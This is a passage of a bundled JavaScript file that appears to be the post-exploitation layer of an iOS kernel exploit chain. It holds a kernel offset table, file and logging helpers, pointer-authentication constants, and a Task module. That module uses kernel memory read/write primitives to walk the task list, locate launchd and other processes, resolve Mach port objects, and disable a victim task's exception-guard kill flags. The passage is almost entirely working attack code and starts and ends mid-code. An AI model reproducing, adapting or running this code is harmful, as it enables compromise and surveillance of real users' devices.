0x420n,\n\t\t\t\t\tctid: 0x4b0n,\n\t\t\t\t\tmigLock: 0x40b6e98n,\n\t\t\t\t\tmigSbxMsg: 0x40b6eb8n,\n\t\t\t\t\tmigKernelStackLR: 0x3998de0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/FileUtils.js\":\n/*!***************************************!*\\\n !*** ./src/libs/JSUtils/FileUtils.js ***!\n \\***************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ FileUtils)\n/* harmony export */ });\n\n\nconst TAG = \"FILE-UTILS\";\n\nconst O_RDONLY\t= 0x0000;\nconst O_WRONLY\t= 0x0001;\nconst O_RDWR\t= 0x0002;\nconst O_APPEND = 0x0008;\nconst O_CREAT\t= 0x0200;\nconst O_TRUNC\t= 0x0400;\nconst O_EVTONLY\t= 0x8000;\n\nconst ERROR\t\t= -1;\n\nconst DT = {\n\tDT_UNKNOWN: 0,\n\tDT_FIFO: 1,\n\tDT_CHR: 2,\n\tDT_DIR: 4,\n\tDT_BLK: 6,\n\tDT_REG: 8,\n\tDT_LNK: 10,\n\tDT_SOCK: 12,\n\tDT_WHT: 14\n};\n\nconst SEEK_SET = 0;\n\nclass FileUtils {\n\n\n\tstatic open(path) {\n\t\tconst fd = Native.callSymbol(\"open\", path, O_RDONLY);\n\t\tif (fd == ERROR) {\n\t\t\tconsole.log(TAG, \"Unable to open: \" + path);\n\t\t\treturn false;\n\t\t}\n\t\treturn fd;\n\t}\n\n\tstatic close(fd) {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\n\tstatic read(fd, size=0) {\n\t\tif (!size || size > Native.memSize)\n\t\t\tsize = Native.memSize;\n\t\tconst len = Native.callSymbol(\"read\", fd, Native.mem, size);\n\t\tif (!len || len == ERROR)\n\t\t\treturn false;\n\t\tconst buff = Native.read(Native.mem, len);\n\t\treturn buff;\n\t}\n\n\tstatic readFile(path, seek=0, length=0) {\n\t\tconst fd = this.open(path);\n\t\tif (fd === false)\n\t\t\treturn null;\n\n\t\tlet data = new Uint8Array();\n\n\t\tif (seek)\n\t\t\tNative.callSymbol(\"lseek\", fd, seek, SEEK_SET);\n\n\t\tlet remaining = length;\n\n\t\twhile (true) {\n\t\t\tlet size = remaining ? remaining : Native.memSize;\n\t\t\tif (size > Native.memSize)\n\t\t\t\tsize = Native.memSize;\n\t\t\tconst buff = this.read(fd, size);\n\t\t\tif (buff === false)\n\t\t\t\tbreak;\n\t\t\tconst buff8 = new Uint8Array(buff);\n\t\t\tlet newData = new Uint8Array(data.length + buff8.length);\n\t\t\tnewData.set(data, 0);\n\t\t\tnewData.set(buff8, data.length);\n\t\t\tdata = newData;\n\n\t\t\tif (remaining) {\n\t\t\t\tremaining -= buff.byteLength;\n\t\t\t\tif (!remaining)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tthis.close(fd);\n\n\t\treturn data.buffer;\n\t}\n\n\tstatic writeFile(path, data) {\n\t\treturn this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_TRUNC);\n\t}\n\n\tstatic appendFile(path, data) {\n\t\treturn this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_APPEND);\n\t}\n\n\tstatic deleteFile(path) {\n\t\tNative.callSymbol(\"unlink\", path);\n\t}\n\tstatic foreachDir(path, func) {\n\t\tlet dir = Native.callSymbol(\"opendir\", path);\n\t\tif (!dir) {\n\t\t\tconsole.log(TAG, \"Unable to open dir: \" + path);\n\t\t\treturn;\n\t\t}\n\n\t\twhile (true) {\n\t\t\tlet item = this.#readdir(dir);\n\t\t\tif (!item)\n\t\t\t\tbreak;\n\n\t\t\tswitch (item.d_type) {\n\t\t\t\tcase DT.DT_DIR:\n\t\t\t\t\tif (item.d_name.startsWith(\".\"))\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tfunc(item.d_name);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tNative.callSymbol(\"closedir\", dir);\n\t}\n\n\tstatic foreachFile(path, func) {\n\t\tlet dir = Native.callSymbol(\"opendir\", path);\n\t\tif (!dir) {\n\t\t\tconsole.log(TAG, \"Unable to open dir: \" + path);\n\t\t\treturn false;\n\t\t}\n\n\t\twhile (true) {\n\t\t\tlet item = this.#readdir(dir);\n\t\t\tif (!item)\n\t\t\t\tbreak;\n\n\t\t\tswitch (item.d_type) {\n\t\t\t\tcase DT.DT_REG:\n\t\t\t\t\tfunc(item.d_name);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tNative.callSymbol(\"closedir\", dir);\n\t\treturn true;\n\t}\n\n\tstatic createDir(path, permission=0o755) {\n\t\treturn !Native.callSymbol(\"mkdir\", path, permission);\n\t}\n\n\tstatic deleteDir(path, recursive=false) {\n\t\tif (recursive) {\n\t\t\tconst dir = Native.callSymbol(\"opendir\", path);\n\t\t\tif (!dir) {\n\t\t\t\tconsole.log(TAG, \"deleteDir: Unable to open dir: \" + path);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\twhile (true) {\n\t\t\t\tconst item = this.#readdir(dir);\n\t\t\t\tif (!item)\n\t\t\t\t\tbreak;\n\n\t\t\t\tconst newPath = path + '/' + item.d_name;\n\n\t\t\t\tswitch (item.d_type) {\n\t\t\t\t\tcase DT.DT_DIR:\n\t\t\t\t\t\tif (item.d_name.startsWith(\".\"))\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tthis.deleteDir(newPath, true);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase DT.DT_REG:\n\t\t\t\t\t\tconsole.log(TAG, `deleting: ${newPath}`);\n\t\t\t\t\t\tthis.deleteFile(newPath);\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"closedir\", dir);\n\t\t}\n\n\t\treturn !Native.callSymbol(\"rmdir\", path);\n\t}\n\n\tstatic exists(path, permission=0/*F_OK*/) {\n\t\treturn !Native.callSymbol(\"access\", path, permission);\n\t}\n\n\tstatic stat(path) {\n\t\tconst ret = Native.callSymbol(\"stat\", path, Native.mem);\n\t\tif (ret == ERROR)\n\t\t\treturn null;\n\t\tconst buff = Native.read(Native.mem, 144);\n\t\tconst view = new DataView(buff);\n\n\t\tconst dev = view.getInt32(0, true);\n\t\tconst mode = view.getUint16(0x4, true);\n\t\tconst nlink = view.getUint16(0x6, true);\n\t\tconst ino = view.getBigUint64(0x8, true);\n\t\tconst uid = view.getUint32(0x10, true);\n\t\tconst gid = view.getUint32(0x14, true);\n\t\tconst atime_tv_sec = view.getBigInt64(0x20, true);\n\t\tconst mtime_tv_sec = view.getBigInt64(0x30, true);\n\t\tconst ctime_tv_sec = view.getBigInt64(0x40, true);\n\t\tconst size = view.getBigInt64(0x60, true);\n\n\t\treturn {\n\t\t\tmode: Number(mode),\n\t\t\tino: Number(ino),\n\t\t\tdev: Number(dev),\n\t\t\tnlink: Number(nlink),\n\t\t\tuid: Number(uid),\n\t\t\tgid: Number(gid),\n\t\t\tsize: Number(size),\n\t\t\tatime: Number(atime_tv_sec),\n\t\t\tmtime: Number(mtime_tv_sec),\n\t\t\tctime: Number(ctime_tv_sec)\n\t\t};\n\t}\n\n\tstatic #readdir(dir) {\n\t\tconst itemPtr = Native.callSymbol(\"readdir\", dir);\n\t\tif (!itemPtr)\n\t\t\treturn null;\n\n\t\tconst item = Native.read(itemPtr, 24);\n\t\tconst view = new DataView(item);\n\n\t\tconst d_ino = view.getBigUint64(0, true);\n\t\tconst d_namlen = view.getUint16(18, true);\n\t\tconst d_type = view.getUint8(20);\n\t\tconst d_name = Native.readString(itemPtr + 21n, d_namlen + 1);\n\n\t\treturn {\n\t\t\td_ino: d_ino,\n\t\t\td_type: d_type,\n\t\t\td_name: d_name\n\t\t};\n\t}\n\n\tstatic #commonWriteFile(path, data, flags) {\n\t\tconst fd = Native.callSymbol(\"open\", path, flags, 0o644);\n\t\tif (fd == ERROR) {\n\t\t\tconsole.log(TAG, \"Unable to open: \" + path);\n\t\t\treturn false;\n\t\t}\n\n\t\t// For some reason file mode is not applied on open()\n\t\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\t\tlet offs = 0;\n\t\tlet left = data.byteLength;\n\n\t\tconst buffSize = 0x4000;\n\t\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\t\twhile (true) {\n\t\t\tconst size = left > buffSize ? buffSize : left;\n\t\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\t\tconst dst8 = new Uint8Array(src8);\n\t\t\tNative.write(buffPtr, dst8.buffer);\n\t\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\t\tif (!len || len == ERROR)\n\t\t\t\tbreak;\n\t\t\toffs += len;\n\t\t\tleft -= len;\n\t\t\tif (!left)\n\t\t\t\tbreak;\n\t\t}\n\n\t\tNative.callSymbol(\"free\", buffPtr);\n\t\tNative.callSymbol(\"close\", fd);\n\n\t\treturn true;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/Logger.js\":\n/*!************************************!*\\\n !*** ./src/libs/JSUtils/Logger.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Logger)\n/* harmony export */ });\n/* harmony import */ var _FileUtils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./FileUtils */ \"./src/libs/JSUtils/FileUtils.js\");\n/* harmony import */ var _Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\nclass Logger {\n\n\tstatic #logging = false;\n\tstatic #logfile = \"/private/var/mobile/Media/PostLogs.txt\";\n\n\tstatic {\n\t\t//LOG(\"Log file: \" + Logger.#logfile);\n\t}\n\n\tstatic log(TAG, msg) {\n\t\t// Avoid recursive logging\n\t\tif (Logger.#logging)\n\t\t\treturn;\n\t\tLogger.#logging = true;\n\t\tconst logMsg = `[${TAG}] ${msg}`;\n\n\t\tLOG(logMsg);\n\n\t\tif (false) // removed by dead control flow\n{}\n\t\tLogger.#logging = false;\n\t}\n\n\tstatic clearPreviousLogs(){\n\t\t_Chain_Native__WEBPACK_IMPORTED_MODULE_1__[\"default\"].callSymbol(\"unlink\", Logger.#logfile);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/Utils.js\":\n/*!***********************************!*\\\n !*** ./src/libs/JSUtils/Utils.js ***!\n \\***********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Utils)\n/* harmony export */ });\n\n\nconst TAG = \"UTILS\";\n\nconst DT = {\n\tDT_UNKNOWN: 0,\n\tDT_FIFO: 1,\n\tDT_CHR: 2,\n\tDT_DIR: 4,\n\tDT_BLK: 6,\n\tDT_REG: 8,\n\tDT_LNK: 10,\n\tDT_SOCK: 12,\n\tDT_WHT: 14\n};\n\nclass Utils {\n\n\tstatic UINT64_SIZE = 8;\n\tstatic UINT32_SIZE = 4;\n\tstatic UINT16_SIZE = 2;\n\tstatic ARM_THREAD_STATE64 = 6;\n\tstatic ARM_THREAD_STATE64_SIZE = 0x110;\n\tstatic ARM_THREAD_STATE64_COUNT = (this.ARM_THREAD_STATE64_SIZE / this.UINT32_SIZE);\n\tstatic ptrauth_key_asia = 0;\n\tstatic EXC_BAD_ACCESS = 1n;\n\tstatic EXC_GUARD = 12n;\n\tstatic EXC_MASK_GUARD = (1n << this.EXC_GUARD);\n\tstatic EXC_MASK_BAD_ACCESS = (1n << this.EXC_BAD_ACCESS);\n\tstatic EXCEPTION_STATE = 2n;\n\tstatic MACH_EXCEPTION_CODES = 0x80000000n;\n\tstatic PAGE_SIZE = 0x4000n;\n\tstatic PAGE_MASK = (this.PAGE_SIZE - 1n);\n\n\tstatic hex(val) {\n\t\treturn val.toString(16);\n\t}\n\n\tstatic memmem(haystack, needle) {\n\t\tconst hLen = haystack.byteLength;\n\t\tconst nLen = needle.byteLength;\n\n\t\tif (nLen === 0 || hLen < nLen) {\n\t\t return 0;\n\t\t}\n\n\t\tconst haystackView = new Uint8Array(haystack);\n\t\tconst needleView = new Uint8Array(needle);\n\n\t\tfor (let i = 0; i <= hLen - nLen; i++) {\n\t\t let found = true;\n\t\t for (let j = 0; j < nLen; j++) {\n\t\t\tif (haystackView[i + j] !== needleView[j]) {\n\t\t\t found = false;\n\t\t\t break;\n\t\t\t}\n\t\t }\n\t\t if (found) {\n\t\t\treturn i;\n\t\t }\n\t\t}\n\n\t\treturn 0;\n\t}\n\n\tstatic ptrauth_string_discriminator(discriminator)\n\t{\n\t\tswitch (discriminator) {\n\t\t\tcase \"pc\":\n\t\t\t\treturn 0x7481n;\n\t\t\tcase \"lr\":\n\t\t\t\treturn 0x77d3n;\n\t\t\tcase \"sp\":\n\t\t\t\treturn 0xcbedn;\n\t\t\tcase \"fp\":\n\t\t\t\treturn 0x4517n;\n\t\t\tdefault:\n\t\t\t\tconsole.log(TAG,`Cannot find discriminator for value:${discriminator}`);\n\t\t\t\treturn 0n;\n\t\t}\n\t}\n\n\tstatic ptrauth_string_discriminator_special(discriminator)\n\t{\n\t\tswitch (discriminator) {\n\t\t\tcase \"pc\":\n\t\t\t\treturn 0x7481000000000000n;\n\t\t\tcase \"lr\":\n\t\t\t\treturn 0x77d3000000000000n;\n\t\t\tcase \"sp\":\n\t\t\t\treturn 0xcbed000000000000n;\n\t\t\tcase \"fp\":\n\t\t\t\treturn 0x4517000000000000n;\n\t\t\tdefault:\n\t\t\t\tconsole.log(TAG,`Cannot find discriminator for value:${discriminator}`);\n\t\t\t\treturn 0n;\n\t\t}\n\t}\n\n\tstatic ptrauth_blend_discriminator(diver,discriminator)\n\t{\n\t\treturn diver & 0xFFFFFFFFFFFFn | discriminator;\n\t}\n\n static printArrayBufferInChunks(buffer) {\n const view = new DataView(buffer);\n const chunkSize = 8;\n\n for (let i = 0; i < buffer.byteLength; i += chunkSize) {\n\t\t\t// Read the chunk as a BigInt\n\t\t\tconst chunk = view.getBigUint64(i, true); // Little-endian\n\n console.log(TAG, `0x${Utils.hex(i)}: ${Utils.hex(chunk)}`);\n }\n }\n\n\tstatic MIN(a, b)\n\t{\n\t\tif(a < b)\n\t\t\treturn a;\n\t\treturn b;\n\t}\n\n\tstatic MAX(a, b)\n\t{\n\t\tif(a > b)\n\t\t\treturn a;\n\t\treturn b;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/RegistersStruct.js\":\n/*!*********************************************!*\\\n !*** ./src/libs/TaskRop/RegistersStruct.js ***!\n \\*********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ RegistersStruct)\n/* harmony export */ });\nconst TAG = \"REGISTERSSTRUCT\"\n\nclass RegistersStruct\n{\n\t#dataView;\n\n\tconstructor(buffer, offset = 0, length = 29) {\n\t\tthis.#dataView = new DataView(buffer,offset, length * 8);\n\t\tthis.length = length;\n\t}\n \n\tget(index) {\n if (index >= this.length || index < 0) {\n console.log(TAG,`Got wrong index in get:${index}`);\n\t\t\treturn;\n }\n return this.#dataView.getBigUint64(index * 8, true); // true for little-endian\n }\n\n set(index, value) {\n if (index >= this.length || index < 0) {\n console.log(TAG,`Got wrong index in set`);\n\t\t\treturn;\n }\n this.#dataView.setBigUint64(index * 8, BigInt(value), true); // true for little-endian\n }\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/SelfTaskStruct.js\":\n/*!********************************************!*\\\n !*** ./src/libs/TaskRop/SelfTaskStruct.js ***!\n \\********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ SelfTaskStruct)\n/* harmony export */ });\nclass SelfTaskStruct \n{\n\t#buffer;\n\t#dataView;\n\tconstructor()\n\t{\n\t\tthis.#buffer = new ArrayBuffer(32);\n\t\tthis.#dataView = new DataView(this.#buffer);\n\t\tthis.addr = 0x0n;\n\t\tthis.spaceTable = 0x0n;\n\t\tthis.portObject = 0x0n;\n\t\tthis.launchdTask = 0x0n;\n\t}\n\tget addr()\n\t{\n\t\treturn this.#dataView.getBigUint64(0,true);\n\t}\n\tset addr(value)\n\t{\n\t\tthis.#dataView.setBigUint64(0,value,true);\n\t}\n\tget spaceTable()\n\t{\n\t\treturn this.#dataView.getBigUint64(8,true);\n\t}\n\tset spaceTable(value)\n\t{\n\t\tthis.#dataView.setBigUint64(8,value,true);\n\t}\n\tget portObject()\n\t{\n\t\treturn this.#dataView.getBigUint64(16,true);\n\t}\n\tset portObject(value)\n\t{\n\t\tthis.#dataView.setBigUint64(16,value,true);\n\t}\n\tget launchdTask()\n\t{\n\t\treturn this.#dataView.getBigUint64(24,true);\n\t}\n\tset launchdTask(value)\n\t{\n\t\tthis.#dataView.setBigUint64(24,value,true);\n\t}\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/Task.js\":\n/*!**********************************!*\\\n !*** ./src/libs/TaskRop/Task.js ***!\n \\**********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Task)\n/* harmony export */ });\n/* harmony import */ var _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./SelfTaskStruct */ \"./src/libs/TaskRop/SelfTaskStruct.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\n\n\nconst TAG = \"TASK\"\nconst TASK_EXC_GUARD_MP_CORPSE = 0x40;\nconst TASK_EXC_GUARD_MP_FATAL = 0x80;\nconst TASK_EXC_GUARD_MP_DELIVER = 0x10;\n\nclass Task\n{\n\tstatic gSelfTask;\n\tstatic KALLOC_ARRAY_TYPE_SHIFT;\n\n\tstatic {\n\t\tthis.gSelfTask = new _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"]();\n\t}\n\n\tstatic init(selfTaskAddr)\n\t{\n\t\t// Update KALLOC_ARRAY_TYPE_SHIFT\n\t\tthis.KALLOC_ARRAY_TYPE_SHIFT = BigInt((64n - libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().T1SZ_BOOT - 1n));\n\n\t\t/*\n\t\t * This function should be invoked as the initializer of the this Task utility.\n\t\t * It setups the global var \"gSelfTask\" containing values used all across the task functions to lookup ports.\n\t\t * It also retrieves the \"launchd\" task address.\n\t\t */\n\t\tthis.gSelfTask.addr = selfTaskAddr;\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\tthis.gSelfTask.portObject = this.#getPortObject(spaceTable, 0x203n);\n\t\tthis.gSelfTask.launchdTask = this.#searchForLaunchdTask();\n\n\t\tconsole.log(TAG,`Self task address: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.addr)}`);\n\t\tconsole.log(TAG,`Self task space table: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(spaceTable)}`);\n\t\tconsole.log(TAG,`Self task port object: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.portObject)}`);\n\t\tconsole.log(TAG,`launchd task: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.launchdTask)}`);\n\t}\n\n\tstatic trunc_page(addr)\n\t{\n\t\treturn addr & (~(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_SIZE - 1n));\n\t}\n\n\tstatic round_page(addr)\n\t{\n\t\treturn this.trunc_page((addr) + (libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_SIZE - 1n));\n\t}\n\n\tstatic pidof(name)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pComm, command, 18);\n\t\t\tlet resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].readString(command,18);\n\t\t\tif(name === resultName)\n\t\t\t{\n\t\t\t\tlet pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\t\treturn pid;\n\t\t\t}\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || nextTask == currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tstatic getTaskAddrByPID(pid)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\tif (currPid == pid)\n\t\t\t\treturn currTask;\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || (nextTask == currTask))\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tstatic disableExcGuardKill(taskAddr)\n\t{\n\t\t// in mach_port_guard_ast, the victim would crash if these are on.\n\t\tlet excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().excGuard);\n\t\t//console.log(TAG,`Current excGuard:0x${Utils.hex(excGuard)}`);\n\t\texcGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL);\n\t\texcGuard |= TASK_EXC_GUARD_MP_DELIVER;\n\t\t//console.log(TAG,`ExcGuard result:0x${Utils.hex(excGuard)}`);\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().excGuard, excGuard);\n\t}\n\n\tstatic getTaskAddrByName(name)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pComm, command, 18);\n\t\t\tlet resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].readString(command,18);\n\t\t\t//console.log(TAG, `${Utils.hex(procAddr)}: ${resultName}`);\n\t\t\tif(name === resultName)\n\t\t\t{\n\t\t\t\t//console.log(TAG, `Found target process: ${name}`);\n\t\t\t\treturn currTask;\n\t\t\t}\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || nextTask == currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn false;\n\t}\n\n\tstatic getRightAddr(port)\n\t{\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\treturn this.#getPortEntry(spaceTable, port);\n\t}\n\n\tstatic #getSpaceTable(taskAddr)\n\t{\n\t\tlet space = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().ipcSpace);\n\t\tlet spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(space + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().spaceTable);\n\t\t//console.log(TAG,`space: ${Utils.hex(space)}`);\n\t\t//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);\n\t\tspaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(spaceTable);\n\t\t//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);\n\t\treturn this.#kallocArrayDecodeAddr(BigInt(spaceTable));\n\t}\n\n\tstatic #mach_port_index(port)\n\t{\n\t\treturn ((port) >> 8n);\n\t}\n\n\tstatic #getPortEntry(spaceTable, port)\n\t{\n\t\tlet portIndex = this.#mach_port_index(port);\n\t\treturn spaceTable + (portIndex * 0x18n);\n\t}\n\n\tstatic #getPortObject(spaceTable, port)\n\t{\n\t\t//console.log(TAG, `getPortObject(): space=${Utils.hex(spaceTable)}, port=${Utils.hex(port)}`);\n\t\tlet portEntry = this.#getPortEntry(spaceTable, port);\n\t\t//console.log(TAG,`portEntry: ${Utils.hex(portEntry)}`);\n\t\tlet portObject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(portEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().entryObject);\n\t\t//console.log(TAG,`portObject:${Utils.hex(portObject)}`);\n\t\treturn libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(portObject);\n\t}\n\n\tstatic getTaskProc(taskAddr)\n\t{\n\t\tlet procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().procRO);\n\t\tlet procAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(procROAddr);\n\t\treturn procAddr;\n\t}\n\n\tstatic #searchForLaunchdTask()\n\t{\n\t\t/*\n\t\t * Traverse the tasks list backwards starting from the self task until we find the proc with PID 1.\n\t\t */\n\n\t\tlet currTask = this.gSelfTask.addr;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\tif (currPid == 1)\n\t\t\t\treturn currTask;\n\t\t\tlet prevTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().prevTask);\n\t\t\tif (!prevTask || prevTask === currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = prevTask;\n\t\t}\n\t\treturn 0n;\n\t}\n\n\tstatic #kallocArrayDecodeAddr(ptr)\n\t{\n\t\tlet zone_mask = BigInt(1) << BigInt(this.KALLOC_ARRAY_TYPE_SHIFT);\n\t\tif (ptr & zone_mask)\n\t\t{\n\t\t\tptr &= ~0x1fn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tptr &= ~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_MASK;\n\t\t\t//console.log(TAG,`ptr:${Utils.hex(ptr)}`);\n\t\t\tptr |= zone_mask;\n\t\t\t//console.log(TAG,`ptr2:${Utils.hex(ptr)}`);\n\t\t}\n\t\treturn ptr;\n\t}\n\n\tstatic getPortAddr(port)\n\t{\n\t\tif (!port)\n\t\t\treturn 0;\n\t\tlet spaceTable = 